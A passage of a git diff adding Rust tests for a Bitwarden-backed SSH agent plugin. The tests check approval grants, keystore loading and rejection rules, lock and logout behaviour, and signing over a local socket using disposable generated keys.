a grant tied to a PID +/// never matches the case grants exist for -- a rebase would prompt once per +/// commit regardless. Scoping to the executable path is what makes the +/// feature do its job; see docs/decisions/0002-grant-scope.md for the +/// exposure this accepts. +#[test] +fn grants_are_capped_and_bound_to_key_and_executable() { + let (_, key) = loaded_store(3); + let mut approvals = ApprovalManager::new(rustix::process::geteuid().as_raw()); + let original = peer(200, 50, "/usr/bin/git"); + let id = match approvals.submit(3, &key, original.clone(), 0).unwrap() { + Submit::Pending(id) => id, + _ => unreachable!(), + }; + approvals.approve(id, 10_000, 10).unwrap(); + assert_eq!(approvals.grants()[0].expires_at_ms, 900_010); + assert!(matches!( + approvals.submit(3, &key, original.clone(), 20).unwrap(), + Submit::Granted(_) + )); + + // The case that matters: a different process, same program. Every commit + // in a rebase looks like this. + assert!( + matches!( + approvals + .submit(3, &key, peer(9001, 7777, "/usr/bin/git"), 20) + .unwrap(), + Submit::Granted(_) + ), + "a fresh process running the same program must ride the grant" + ); + + // A different program does not, even from the same process identity. + assert!(matches!( + approvals + .submit(3, &key, peer(200, 50, "/usr/bin/ssh"), 20) + .unwrap(), + Submit::Pending(_) + )); + // Nor does a different key. + assert!(matches!( + approvals.submit(3, b"different key", original, 20).unwrap(), + Submit::Pending(_) + )); +} + +/// Widening the scope to a program must not widen it across users. The peer +/// UID is the one thing the companion actually verifies. +#[test] +fn a_grant_never_crosses_to_another_user() { + let (_, key) = loaded_store(3); + let expected = rustix::process::geteuid().as_raw(); + let mut approvals = ApprovalManager::new(expected); + let mine = peer(200, 50, "/usr/bin/git"); + let id = match approvals.submit(3, &key, mine, 0).unwrap() { + Submit::Pending(id) => id, + _ => unreachable!(), + }; + approvals.approve(id, 120, 10).unwrap(); + + let theirs = PeerContext::new(expected.wrapping_add(1), 201, 51, "/usr/bin/git").unwrap(); + assert!( + approvals.submit(3, &key, theirs, 20).is_err(), + "another user must not reach a grant, whatever program they run" + ); +} + +#[test] +fn wrong_uid_and_lifecycle_revocation_fail_closed() { + let (_, key) = loaded_store(5); + let expected = rustix::process::geteuid().as_raw(); + let mut approvals = ApprovalManager::new(expected); + let wrong = PeerContext::new(expected.wrapping_add(1), 1, 1, "/usr/bin/ssh").unwrap(); + assert_eq!( + approvals.submit(5, &key, wrong, 0), + Err(ApprovalError::WrongUid) + ); + + let p = peer(300, 60, "/usr/bin/ssh"); + let id = match approvals.submit(5, &key, p.clone(), 0).unwrap() { + Submit::Pending(id) => id, + _ => unreachable!(), + }; + approvals.approve(id, 120, 0).unwrap(); + let grant_id = approvals.grants()[0].id; + approvals.revoke_grant(grant_id); + assert!(approvals.grants().is_empty()); + let id = match approvals.submit(5, &key, p.clone(), 0).unwrap() { + Submit::Pending(id) => id, + _ => unreachable!(), + }; + approvals.approve(id, 120, 0).unwrap(); + approvals.revoke_peer(&p); + assert!(approvals.grants().is_empty()); + let id = match approvals.submit(5, &key, p.clone(), 0).unwrap() { + Submit::Pending(id) => id, + _ => unreachable!(), + }; + approvals.approve(id, 120, 0).unwrap(); + approvals.invalidate_all(); + assert!(approvals.grants().is_empty()); + assert_eq!(approvals.pending_count(), 0); + assert!(matches!( + approvals.submit(5, &key, p, 1).unwrap(), + Submit::Pending(_) + )); +} + +#[test] +fn peer_snapshot_comes_from_proc_without_trusting_display_metadata() { + let pid = std::process::id(); + let snapshot = PeerContext::capture(rustix::process::geteuid().as_raw(), pid).unwrap(); + assert_eq!(snapshot.pid, pid); + assert!(snapshot.start_time_ticks > 0); + assert!(snapshot.executable.is_absolute()); +} diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/agent/tests/keystore.rs b/plugins/io.github.elevate08.qs-bitwarden-cli/agent/tests/keystore.rs new file mode 100644 index 0000000..7ba8074 --- /dev/null +++ b/plugins/io.github.elevate08.qs-bitwarden-cli/agent/tests/keystore.rs @@ -0,0 +1,202 @@ +use qs_bitwarden_ssh_agent::keystore::{ + CandidateItem, KeyStore, LoadError, SkipCode, MAX_FILTERED_BYTES, MAX_KEYS, MAX_PEM_BYTES, +}; +use qs_bitwarden_ssh_agent::state::VaultState; +use rand_core::OsRng; +use signature::Verifier; +use ssh_key::private::RsaKeypair; +use ssh_key::{Algorithm, HashAlg, PrivateKey}; +use zeroize::Zeroizing; + +fn item(id: &str, key: &PrivateKey) -> CandidateItem { + CandidateItem { + item_id: id.to_owned(), + name: format!("key {id}"), + private_key_pem: Zeroizing::new( + key.to_openssh(Default::default()) + .unwrap() + .as_bytes() + .to_vec(), + ), + public_key: key.public_key().to_openssh().unwrap(), + fingerprint: key.public_key().fingerprint(HashAlg::Sha256).to_string(), + requires_reprompt: false, + } +} + +fn ed25519() -> PrivateKey { + PrivateKey::random(&mut OsRng, Algorithm::Ed25519).unwrap() +} + +#[test] +fn candidate_skips_bad_mismatched_reprompt_and_duplicate_items() { + let valid = ed25519(); + let other = ed25519(); + let mut store = KeyStore::new(); + let mut load = store.begin_load(1, 4096).unwrap(); + + assert_eq!(load.add(item("valid", &valid)).unwrap(), None); + assert_eq!( + load.add(CandidateItem { + private_key_pem: Zeroizing::new(b"not a private key".to_vec()), + ..item("malformed", &other) + }) + .unwrap(), + Some(SkipCode::MalformedPrivateKey) + ); + assert_eq!( + load.add(CandidateItem { + public_key: other.public_key().to_openssh().unwrap(), + ..item("public-mismatch", &valid) + }) + .unwrap(), + Some(SkipCode::PublicKeyMismatch) + ); + assert_eq!( + load.add(CandidateItem { + fingerprint: "SHA256:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".to_owned(), + ..item("fingerprint-mismatch", &valid) + }) + .unwrap(), + Some(SkipCode::FingerprintMismatch) + ); + assert_eq!( + load.add(CandidateItem { + requires_reprompt: true, + ..item("reprompt", &other) + }) + .unwrap(), + Some(SkipCode::RequiresReprompt) + ); + assert_eq!( + load.add(item("duplicate", &valid)).unwrap(), + Some(SkipCode::Duplicate) + ); + + let report = store.publish(load).unwrap(); + assert_eq!(report.loaded, 1); + assert_eq!(report.skipped.len(), 5); + assert_eq!(store.state(), VaultState::Unlocked); + assert_eq!(store.public_identities().len(), 1); + assert_eq!(store.public_identities()[0].item_id, "valid"); +} + +#[test] +fn global_limits_reject_the_whole_candidate_and_leave_no_private_set() { + let key = ed25519(); + let mut store = KeyStore::new(); + let mut initial = store.begin_load(1, 4096).unwrap(); + initial.add(item("old", &key)).unwrap(); + store.publish(initial).unwrap(); + assert!(store + .authorize(store.public_identities()[0].public_blob()) + .is_some()); + + assert_eq!( + store.begin_load(2, MAX_FILTERED_BYTES + 1).unwrap_err(), + LoadError::FilteredPayloadTooLarge + ); + assert_eq!(store.state(), VaultState::Loading); + assert!(store + .authorize(key.public_key().to_bytes().unwrap().as_slice()) + .is_none()); + + let mut too_many = store.begin_load(3, 4096).unwrap(); + for index in 0..MAX_KEYS { + let unique = ed25519(); + assert_eq!( + too_many.add(item(&index.to_string(), &unique)).unwrap(), + None + ); + } + assert_eq!( + too_many.add(item("overflow", &ed25519())).unwrap_err(), + LoadError::TooManyKeys + ); + + let mut oversized = store.begin_load(4, MAX_PEM_BYTES).unwrap(); + let mut huge = item("huge", &key); + huge.private_key_pem = Zeroizing::new(vec![b'x'; MAX_PEM_BYTES + 1]); + assert_eq!(oversized.add(huge).unwrap_err(), LoadError::PemTooLarge); +} + +#[test] +fn publish_is_atomic_and_stale_or_failed_loads_cannot_mix_epochs() { + let first = ed25519(); + let second = ed25519(); + let mut store = KeyStore::new(); + let mut load = store.begin_load(7, 4096).unwrap(); + load.add(item("first", &first)).unwrap(); + + store.lock(8); + assert_eq!(store.publish(load).unwrap_err(), LoadError::StaleEpoch); + assert!(store.public_identities().is_empty()); + + let mut replacement = store.begin_load(9, 4096).unwrap(); + replacement.add(item("second", &second)).unwrap(); + store.publish(replacement).unwrap(); + assert_eq!(store.public_identities().len(), 1); + assert_eq!(store.public_identities()[0].item_id, "second"); +} + +#[test] +fn lock_invalidates_authorization_before_dropping_keys_and_keeps_public_cache() { + let key = ed25519(); + let public_blob = key.public_key().to_bytes().unwrap(); + let mut store = KeyStore::new(); + let mut load = store.begin_load(11, 4096).unwrap(); + load.add(item("work", &key)).unwrap(); + store.publish(load).unwrap(); + + let permit = store.authorize(&public_blob).unwrap(); + store.lock(12); + + assert_eq!(store.state(), VaultState::LockedCached); + assert_eq!(store.public_identities().len(), 1); + assert!(store.sign(&permit, b"must not sign", 0).is_none()); + assert!(store.authorize(&public_blob).is_none()); +} + +#[test] +fn current_epoch_permit_signs_without_cloning_private_keys() { + let key = ed25519(); + let public_blob = key.public_key().to_bytes().unwrap(); + let mut store = KeyStore::new(); + let mut load = store.begin_load(21, 4096).unwrap(); + load.add(item("work", &key)).unwrap(); + store.publish(load).unwrap(); + + let permit = store.authorize(&public_blob).unwrap(); + let signature = store.sign(&permit, b"authorized payload", 0).unwrap(); + Verifier::verify(key.public_key(), b"authorized payload", &signature).unwrap(); +} + +#[test] +fn undersized_rsa_is_rejected_during_load() { + let weak_rsa = rsa::RsaPrivateKey::new(&mut OsRng, 1024).unwrap(); + let weak = PrivateKey::from(RsaKeypair::try_from(weak_rsa).unwrap()); + let mut store = KeyStore::new(); + let mut load = store.begin_load(31, 4096).unwrap(); + assert_eq!( + load.add(item("weak-rsa", &weak)).unwrap(), + Some(SkipCode::InvalidPrivateKey) + ); + assert_eq!(store.publish(load).unwrap().loaded, 0); +} + +#[test] +fn logout_invalidates_permits_and_clears_public_and_private_sets() { + let key = ed25519(); + let public_blob = key.public_key().to_bytes().unwrap(); + let mut store = KeyStore::new(); + let mut load = store.begin_load(41, 4096).unwrap(); + load.add(item("work", &key)).unwrap(); + store.publish(load).unwrap(); + let permit = store.authorize(&public_blob).unwrap(); + + store.logout(42); + + assert_eq!(store.state(), VaultState::LoggedOut); + assert!(store.public_identities().is_empty()); + assert!(store.sign(&permit, b"must not sign", 0).is_none()); +} diff --git a/plugins/io.github.elevate08.qs-bitwarden-cli/agent/tests/lifecycle.rs b/plugins/io.github.elevate08.qs-bitwarden-cli/agent/tests/lifecycle.rs new file mode 100644 index 0000000..6f80455 --- /dev/null +++ b/plugins/io.github.elevate08.qs-bitwarden-cli/agent/tests/lifecycle.rs @@ -0,0 +1,983 @@ +use qs_bitwarden_ssh_agent::control::{ + parse_control_line, ControlError, ControlMessage, LoadStatus, MAX_CONTROL_LINE, +}; +use qs_bitwarden_ssh_agent::runtime::{RuntimeError, ServiceRuntime}; +use rand_core::{OsRng, RngCore}; +use signature::Verifier; +use ssh_encoding::{Decode, Encode}; +use ssh_key::{Algorithm, HashAlg, PrivateKey, Signature}; +use std::fs; +use std::io::{BufRead, BufReader, Read, Write}; +use std::os::unix::fs::{FileTypeExt, PermissionsExt}; +use std::os::unix::net::UnixStream; +use std::path::PathBuf; +use std::process::{Command, Stdio}; + +struct TempDir(PathBuf); + +impl TempDir { + fn new() -> Self { + let path = std::env::temp_dir().join(format!( + "qsbw-lifecycle-{}-{}", + std::process::id(), + OsRng.next_u64() + )); + fs::create_dir(&path).unwrap(); + Self(path) + } +} + +impl Drop for TempDir { + fn drop(&mut self) { + let _ = fs::remove_dir_all(&self.0); + } +} + +#[test] +fn control_contract_accepts_every_allowlisted_message() { + let messages = [ + r#"{"v":1,"type":"hello"}"#, + r#"{"v":1,"type":"key_load_begin","epoch":7,"loadId":"00112233445566778899aabbccddeeff"}"#, + r#"{"v":1,"type":"key_load_end","epoch":7,"status":"ok"}"#, + r#"{"v":1,"type":"vault_locked","epoch":8}"#, + r#"{"v":1,"type":"vault_logged_out"}"#, + r#"{"v":1,"type":"approve","requestId":42,"grantSeconds":120}"#, + r#"{"v":1,"type":"deny","requestId":42}"#, + r#"{"v":1,"type":"unlock_cancelled","requestId":41,"reason":"user-cancelled"}"#, + r#"{"v":1,"type":"revoke_grants"}"#, + r#"{"v":1,"type":"shutdown"}"#, + ]; + for message in messages { + parse_control_line(message.as_bytes()).unwrap(); + } + assert!(matches!( + parse_control_line(messages[2].as_bytes()), + Ok(ControlMessage::KeyLoadEnd { + status: LoadStatus::Ok, + .. + }) + )); +} + +#[test] +fn control_contract_rejects_untrusted_shapes_and_versions() { + assert_eq!(parse_control_line(b""), Err(ControlError::Empty)); + assert_eq!( + parse_control_line(b"{not json}"), + Err(ControlError::Malformed) + ); + assert_eq!( + parse_control_line(br#"{"v":2,"type":"hello"}"#), + Err(ControlError::WrongVersion) + ); + assert_eq!( + parse_control_line(br#"{"v":1,"type":"unknown"}"#), + Err(ControlError::Malformed) + ); + assert_eq!( + parse_control_line(br#"{"v":1,"type":"hello","extra":true}"#), + Err(ControlError::Malformed) + ); + let oversized = vec![b'x'; MAX_CONTROL_LINE + 1]; + assert_eq!(parse_control_line(&oversized), Err(ControlError::TooLong)); +} + +#[tokio::test(flavor = "current_thread")] +async fn singleton_owns_private_socket_and_cleans_runtime_paths() { + let temp = TempDir::new(); + let owner = ServiceRuntime::acquire(&temp.0).unwrap(); + let listener = owner.bind_socket().unwrap(); + let socket_path = owner.socket_path().to_path_buf(); + let fifo_path = owner.runtime().fifo_path().to_path_buf(); + let metadata = fs::symlink_metadata(&socket_path).unwrap(); + assert!(metadata.file_type().is_socket()); + assert_eq!(metadata.permissions().mode() & 0o777, 0o600); + + assert!(matches!( + ServiceRuntime::acquire(&temp.0), + Err(RuntimeError::AlreadyRunning) + )); + drop(listener); + drop(owner); + assert!(!socket_path.exists()); + assert!(!fifo_path.exists()); + + let restarted = ServiceRuntime::acquire(&temp.0).unwrap(); + assert!(restarted.runtime().fifo_path().exists()); +} + +#[test] +fn executable_handshake_is_private_singleton_and_eof_supervised() { + let temp = TempDir::new(); + let executable = env!("CARGO_BIN_EXE_qs-bitwarden-ssh-agent"); + let mut child = Command::new(executable) + .env_clear() + .env("XDG_RUNTIME_DIR", &temp.0) + .stdin(Stdio::piped()) + .stdout(Stdio::piped()) + .stderr(Stdio::null()) + .spawn() + .unwrap(); + child + .stdin + .as_mut() + .unwrap() + .write_all(b"{\"v\":1,\"type\":\"hello\"}\n") + .unwrap(); + let mut ready_line = String::new(); + BufReader::new(child.stdout.take().unwrap()) + .read_line(&mut ready_line) + .unwrap(); + let ready: serde_json::Value = serde_json::from_str(&ready_line).unwrap(); + assert_eq!(ready["v"], 1); + assert_eq!(ready["type"], "ready"); + let socket = PathBuf::from(ready["socketPath"].as_str().unwrap()); + let fifo = PathBuf::from(ready["fifoPath"].as_str().unwrap()); + assert_eq!( + fs::symlink_metadata(&socket).unwrap().permissions().mode() & 0o777, + 0o600 + ); + + let status = Command::new(executable) + .env_clear() + .env("XDG_RUNTIME_DIR", &temp.0) + .stdin(Stdio::null()) + .stdout(Stdio::null()) + .stderr(Stdio::null()) + .status() + .unwrap(); + assert!(!status.success()); + + drop(child.stdin.take()); + assert!(child.wait().unwrap().success()); + assert!(!socket.exists()); + assert!(!fifo.exists()); + assert!(!temp.0.join("qs-bitwarden-cli").exists()); +} + +#[test] +fn hello_is_a_one_time_handshake_not_a_signing_gate_command() { + let temp = TempDir::new(); + let executable = env!("CARGO_BIN_EXE_qs-bitwarden-ssh-agent"); + let mut child = Command::new(executable) + .env_clear() + .env("XDG_RUNTIME_DIR", &temp.0) + .stdin(Stdio::piped()) + .stdout(Stdio::piped()) + .stderr(Stdio::null()) + .spawn() + .unwrap(); + let mut input = child.stdin.take().unwrap(); + let mut output = BufReader::new(child.stdout.take().unwrap()); + input.write_all(b"{\"v\":1,\"type\":\"hello\"}\n").unwrap(); + input.flush().unwrap(); + assert_eq!(read_json_line(&mut output)["type"], "ready"); + + input + .write_all(b"{\"v\":1,\"type\":\"vault_locked\",\"epoch\":1}\n") + .unwrap(); + input.flush().unwrap(); + assert_eq!(read_json_line(&mut output)["type"], "locked"); + input.write_all(b"{\"v\":1,\"type\":\"hello\"}\n").unwrap(); + input.flush().unwrap(); + + assert!(!child.wait().unwrap().success()); +} + +#[test] +fn disposable_key_load_identity_and_approved_sign_cross_the_real_socket() { + let temp = TempDir::new(); + let executable = env!("CARGO_BIN_EXE_qs-bitwarden-ssh-agent"); + let mut child = Command::new(executable) + .env_clear() + .env("XDG_RUNTIME_DIR", &temp.0) + .stdin(Stdio::piped()) + .stdout(Stdio::piped()) + .stderr(Stdio::null()) + .spawn() + .unwrap(); + let mut input = child.stdin.take().unwrap(); + let mut output = BufReader::new(child.stdout.take().unwrap()); + input.write_all(b"{\"v\":1,\"type\":\"hello\"}\n").unwrap(); + input.flush().unwrap(); + let ready = read_json_line(&mut output); + let socket = PathBuf::from(ready["socketPath"].as_str().unwrap()); + let fifo = PathBuf::from(ready["fifoPath"].as_str().unwrap()); + + let key = PrivateKey::random(&mut OsRng, Algorithm::Ed25519).unwrap(); + let public_blob = key.public_key().to_bytes().unwrap(); + let nonce = "0123456789abcdef0123456789abcdef"; + writeln!( + input, + "{{\"v\":1,\"type\":\"key_load_begin\",\"epoch\":1,\"loadId\":\"{nonce}\"}}" + ) + .unwrap(); + input.flush().unwrap(); + let payload = serde_json::json!({"loadId": nonce, "items": [{ + "itemId": "disposable", "name": "Disposable test key", + "privateKey": key.to_openssh(Default::default()).unwrap().as_str(), + "publicKey": key.public_key().to_openssh().unwrap(), + "fingerprint": key.public_key().fingerprint(HashAlg::Sha256).to_string(), + "requiresReprompt": false + }]}); + let mut writer = fs::OpenOptions::new().write(true).open(&fifo).unwrap(); + writer + .write_all(&serde_json::to_vec(&payload).unwrap()) + .unwrap(); + writer.write_all(b"\n").unwrap(); + drop(writer); + input + .write_all(b"{\"v\":1,\"type\":\"key_load_end\",\"epoch\":1,\"status\":\"ok\"}\n") + .unwrap(); + input.flush().unwrap(); + let mut loaded = read_json_line(&mut output); + while loaded["type"] == "public_key" { + loaded = read_json_line(&mut output); + } + assert_eq!(loaded["type"], "keys_loaded"); + assert_eq!(loaded["keyCount"], 1); + + let mut client = UnixStream::connect(&socket).unwrap(); + let mut slow_client = UnixStream::connect(&socket).unwrap(); + slow_client.write_all(&100_u32.to_be_bytes()).unwrap(); + client.write_all(&[0, 0, 0, 1, 11]).unwrap(); + let identities = read_agent_frame(&mut client); + assert_eq!(identities[4], 12); + assert!(identities + .windows(public_blob.len()) + .any(|part| part == public_blob)); + + let message = b"task nine approved signing"; + let mut request = vec![13]; + public_blob.encode(&mut request).unwrap(); + message.as_slice().encode(&mut request).unwrap(); + 0_u32.encode(&mut request).unwrap(); + let mut frame = Vec::new(); + u32::try_from(request.len()) + .unwrap() + .encode(&mut frame) + .unwrap(); + frame.extend_from_slice(&request); + client.write_all(&frame).unwrap(); + let approval = read_json_line(&mut output); + assert_eq!(approval["type"], "approval_required"); + let request_id = approval["requestId"].as_u64().unwrap(); + writeln!( + input, + "{{\"v\":1,\"type\":\"approve\",\"requestId\":{request_id},\"grantSeconds\":0}}" + ) + .unwrap(); + input.flush().unwrap(); + + let response = read_agent_frame(&mut client); + assert_eq!(response[4], 14); + let mut fields = &response[5..]; + let encoded = Vec::::decode(&mut fields).unwrap(); + let signature = Signature::try_from(encoded.as_slice()).unwrap(); + Verifier::verify(key.public_key(), message, &signature).unwrap(); + + // Exercise the real OpenSSH signing client with only a public key file; + // the disposable private key remains solely in the helper keystore. + let public_path = temp.0.join("disposable.pub"); + let message_path = temp.0.join("commit.txt"); + fs::write(&public_path, key.public_key().to_openssh().unwrap()).unwrap(); + fs::write(&message_path, b"disposable commit object").unwrap(); + let mut ssh_keygen = Command::new("/usr/bin/ssh-keygen") + .env_clear() + .env("SSH_AUTH_SOCK", &socket) + .args(["-Y", "sign", "-f"]) + .arg(&public_path) + .args(["-n", "git"]) + .arg(&message_path) + .stdin(Stdio::null()) + .stdout(Stdio::null()) + .stderr(Stdio::null()) + .spawn() + .unwrap(); + let approval = read_json_line(&mut output); + let request_id = approval["requestId"].as_u64().unwrap(); + writeln!( + input, + "{{\"v\":1,\"type\":\"approve\",\"requestId\":{request_id},\"grantSeconds\":0}}" + ) + .unwrap(); + input.flush().unwrap(); + assert!(ssh_keygen.wait().unwrap().success()); + assert!(message_path.with_extension("txt.sig").exists()); + + input + .write_all(b"{\"v\":1,\"type\":\"shutdown\"}\n") + .unwrap(); + input.flush().unwrap(); + assert!(child.wait().unwrap().success()); +} + +/// A lock drops the private set but keeps the public projection, and the +/// design's state table says a locked-with-cache agent still lists identities: +/// otherwise every `ssh` after a lock raises an unlock prompt, including the +/// ones authenticating with an on-disk key. Signing is what the lock denies. +#[test] +fn a_locked_vault_still_lists_identities_but_refuses_to_sign() { + let temp = TempDir::new(); + let executable = env!("CARGO_BIN_EXE_qs-bitwarden-ssh-agent"); + let mut child = Command::new(executable) + .env_clear() + .env("XDG_RUNTIME_DIR", &temp.0) + .stdin(Stdio::piped()) + .stdout(Stdio::piped()) + .stderr(Stdio::null()) + .spawn() + .unwrap(); + let mut input = child.stdin.take().unwrap(); + let mut output = BufReader::new(child.stdout.take().unwrap()); + input.write_all(b"{\"v\":1,\"type\":\"hello\"}\n").unwrap(); + input.flush().unwrap(); + let ready = read_json_line(&mut output); + let socket = PathBuf::from(ready["socketPath"].as_str().unwrap()); + let fifo = PathBuf::from(ready["fifoPath"].as_str().unwrap()); + + let key = PrivateKey::random(&mut OsRng, Algorithm::Ed25519).unwrap(); + let public_blob = key.public_key().to_bytes().unwrap(); + let nonce = "0123456789abcdef0123456789abcdef"; + writeln!( + input, + "{{\"v\":1,\"type\":\"key_load_begin\",\"epoch\":1,\"loadId\":\"{nonce}\"}}" + ) + .unwrap(); + input.flush().unwrap(); + let payload = serde_json::json!({"loadId": nonce, "items": [{ + "itemId": "disposable", "name": "Disposable test key", + "privateKey": key.to_openssh(Default::default()).unwrap().as_str(), + "publicKey": key.public_key().to_openssh().unwrap(), + "fingerprint": key.public_key().fingerprint(HashAlg::Sha256).to_string(), + "requiresReprompt": false + }]}); + let mut writer = fs::OpenOptions::new().write(true).open(&fifo).unwrap(); + writer + .write_all(&serde_json::to_vec(&payload).unwrap()) + .unwrap(); + writer.write_all(b"\n").unwrap(); + drop(writer); + input + .write_all(b"{\"v\":1,\"type\":\"key_load_end\",\"epoch\":1,\"status\":\"ok\"}\n") + .unwrap(); + input.flush().unwrap(); + let mut loaded = read_json_line(&mut output); + while loaded["type"] == "public_key" { + loaded = read_json_line(&mut output); + } + assert_eq!(loaded["type"], "keys_loaded"); + assert_eq!(loaded["keyCount"], 1); + + // Unlocked: the identity is offered. + assert_eq!(identity_count(&socket), 1); + + input + .write_all(b"{\"v\":1,\"type\":\"vault_locked\",\"epoch\":1}\n") + .unwrap(); + input.flush().unwrap(); + let locked = read_json_line(&mut output); + assert_eq!(locked["type"], "locked"); + + // Locked with a cache: still listed, because public keys are not secret. + assert_eq!(identity_count(&socket), 1); + + // The private set is gone, so signing cannot proceed. The request is held + // and an unlock is asked for rather than failed outright -- refusing a + // client that has no way to retry is worse than asking. Dismissing that + // unlock is what turns it into a refusal, and it must do so at once + // rather than leaving the client to wait out the deadline. + let socket_for_client = socket.clone(); + let blob = public_blob.clone(); + let client = std::thread::spawn(move || { + let mut stream = UnixStream::connect(&socket_for_client).unwrap(); + let mut request = Vec::new(); + 13_u8.encode(&mut request).unwrap(); + blob.as_slice().encode(&mut request).unwrap(); + b"payload".as_slice().encode(&mut request).unwrap(); + 0_u32.encode(&mut request).unwrap(); + let mut framed = u32::try_from(request.len()).unwrap().to_be_bytes().to_vec(); + framed.extend_from_slice(&request); + stream.write_all(&framed).unwrap(); + read_agent_frame(&mut stream) + }); + + let unlock = read_json_line(&mut output); + assert_eq!(unlock["type"], "unlock_required"); + let request_id = unlock["requestId"].as_u64().unwrap(); + let started = std::time::Instant::now(); + writeln!( + input, + "{{\"v\":1,\"type\":\"unlock_cancelled\",\"requestId\":{request_id},\"reason\":\"user-cancelled\"}}" + ) + .unwrap(); + input.flush().unwrap(); + let response = client.join().unwrap(); + assert_eq!( + response[4], 5, + "a dismissed unlock must refuse the signature" + ); + assert!( + started.elapsed() < std::time::Duration::from_secs(10), + "a dismissed unlock must refuse at once, not at the deadline" + ); + + // Logout takes the public projection with it. + input + .write_all(b"{\"v\":1,\"type\":\"vault_logged_out\"}\n") + .unwrap(); + input.flush().unwrap(); + assert_eq!(identity_count(&socket), 0); + + input + .write_all(b"{\"v\":1,\"type\":\"shutdown\"}\n") + .unwrap(); + input.flush().unwrap(); + assert!(child.wait().unwrap().success()); +} + +/// A sign request against a locked-but-cached vault must not simply fail: the +/// design has it raise an unlock, hold the request across the load, and then +/// ask for approval. The unlock and the approval carry different request ids, +/// because they are different decisions. +#[test] +fn a_locked_sign_request_raises_unlock_then_approval() { + let mut agent = TestAgent::start(); + let key = PrivateKey::random(&mut OsRng, Algorithm::Ed25519).unwrap(); + let public_blob = key.public_key().to_bytes().unwrap(); + agent.load_key(&key, 1, "0123456789abcdef0123456789abcdef"); + assert_eq!(identity_count(&agent.socket), 1); + + agent.send("{\"v\":1,\"type\":\"vault_locked\",\"epoch\":1}"); + assert_eq!(agent.read()["type"], "locked"); + + // The client blocks on its request while the panel is asked to unlock. + let socket = agent.socket.clone(); + let blob = public_blob.clone(); + let client = std::thread::spawn(move || { + let mut stream = UnixStream::connect(&socket).unwrap(); + stream.write_all(&sign_request(&blob)).unwrap(); + read_agent_frame(&mut stream) + }); + + let unlock = agent.read(); + assert_eq!(unlock["type"], "unlock_required"); + assert_eq!(unlock["reason"], "sign"); + let unlock_id = unlock["requestId"].as_u64().unwrap(); + + // Unlocking is a fresh load at a new epoch, and it releases the request. + agent.load_key(&key, 2, "fedcba9876543210fedcba9876543210"); + // The unlock prompt is withdrawn before the approval prompt replaces it, + // so the panel is never left showing a question that has been answered. + let withdrawn = agent.read(); + assert_eq!(withdrawn["type"], "request_cancelled"); + assert_eq!(withdrawn["requestId"].as_u64().unwrap(), unlock_id); + assert_eq!(withdrawn["reason"], "released"); + let approval = agent.read(); + assert_eq!(approval["type"], "approval_required"); + let approval_id = approval["requestId"].as_u64().unwrap(); + assert_ne!( + unlock_id, approval_id, + "unlock and approval are separate decisions" + ); + + agent.send(&format!( + "{{\"v\":1,\"type\":\"approve\",\"requestId\":{approval_id},\"grantSeconds\":0}}" + )); + let response = client.join().unwrap(); + assert_eq!( + response[4], 14, + "an approved request must return a signature" + ); + agent.shutdown(); +} + +/// The approval decision needs the key's identity and the requesting program, +/// both of which come from the public cache. None of it depends on the vault +/// read finishing, so a user may approve while keys are still loading and the +/// signature is produced the moment they arrive -- rather than being made to +/// wait several seconds and only then be asked. +#[test] +fn an_approval_given_during_a_load_is_honoured_when_keys_arrive() { + let mut agent = TestAgent::start(); + let key = PrivateKey::random(&mut OsRng, Algorithm::Ed25519).unwrap(); + let public_blob = key.public_key().to_bytes().unwrap(); + agent.load_key(&key, 1, "0123456789abcdef0123456789abcdef"); + agent.send("{\"v\":1,\"type\":\"vault_locked\",\"epoch\":1}"); + assert_eq!(agent.read()["type"], "locked"); + + let socket = agent.socket.clone(); + let blob = public_blob.clone(); + let client = std::thread::spawn(move || { + let mut stream = UnixStream::connect(&socket).unwrap(); + stream.write_all(&sign_request(&blob)).unwrap(); + read_agent_frame(&mut stream) + }); + + let unlock = agent.read(); + assert_eq!(unlock["type"], "unlock_required"); + let request_id = unlock["requestId"].as_u64().unwrap(); + + // Approved against the held request, before any load has been started. + agent.send(&format!( + "{{\"v\":1,\"type\":\"approve\",\"requestId\":{request_id},\"grantSeconds\":0}}" + )); + + // The load lands afterwards and releases the request without asking again. + agent.load_key(&key, 2, "fedcba9876543210fedcba9876543210"); + let response = client.join().unwrap(); + assert_eq!( + response[4], 14, + "an approval given while keys were loading must produce a signature" + ); + agent.shutdown(); +} + +/// The same path must still refuse when the key that comes back is not the +/// one that was approved. The approval names a key; the load decides whether +/// that key is actually present. +#[test] +fn an_approval_given_during_a_load_still_requires_the_approved_key() { + let mut agent = TestAgent::start(); + let approved = PrivateKey::random(&mut OsRng, Algorithm::Ed25519).unwrap(); + let other = PrivateKey::random(&mut OsRng, Algorithm::Ed25519).unwrap(); + let public_blob = approved.public_key().to_bytes().unwrap(); + agent.load_key(&approved, 1, "0123456789abcdef0123456789abcdef"); + agent.send("{\"v\":1,\"type\":\"vault_locked\",\"epoch\":1}"); + assert_eq!(agent.read()["type"], "locked"); + + let socket = agent.socket.clone(); + let blob = public_blob.clone(); + let client = std::thread::spawn(move || { + let mut stream = UnixStream::connect(&socket).unwrap(); + stream.write_all(&sign_request(&blob)).unwrap(); + read_agent_frame(&mut stream) + }); + + let unlock = agent.read(); + let request_id = unlock["requestId"].as_u64().unwrap(); + agent.send(&format!( + "{{\"v\":1,\"type\":\"approve\",\"requestId\":{request_id},\"grantSeconds\":0}}" + )); + + // A vault that now holds a different key entirely. + agent.load_key(&other, 2, "fedcba9876543210fedcba9876543210"); + let response = client.join().unwrap(); + assert_eq!( + response[4], 5, + "the approved key is gone, so the signature must fail closed" + ); + agent.shutdown(); +} + +/// A freshly started companion has no public cache, so `ssh-add -L` is empty +/// and no client will ever offer a vault key -- which means no sign request, +/// and no way to ask for an unlock. Unlock-on-demand exists for exactly that +/// cliff, and it has to begin at the identity listing rather than at signing. +#[test] +fn unlock_on_demand_raises_an_unlock_for_an_empty_identity_listing() { + let mut agent = TestAgent::start(); + let key = PrivateKey::random(&mut OsRng, Algorithm::Ed25519).unwrap(); + + // Off by default: an empty cache answers empty and asks for nothing. + assert_eq!(identity_count(&agent.socket), 0); + + agent.send("{\"v\":1,\"type\":\"options\",\"unlockOnDemand\":true}"); + agent.drain_control(); + + let socket = agent.socket.clone(); + let client = std::thread::spawn(move || { + let mut stream = UnixStream::connect(&socket).unwrap(); + stream.write_all(&[0_u8, 0, 0, 1, 11]).unwrap(); + read_agent_frame(&mut stream) + }); + + let unlock = agent.read(); + assert_eq!(unlock["type"], 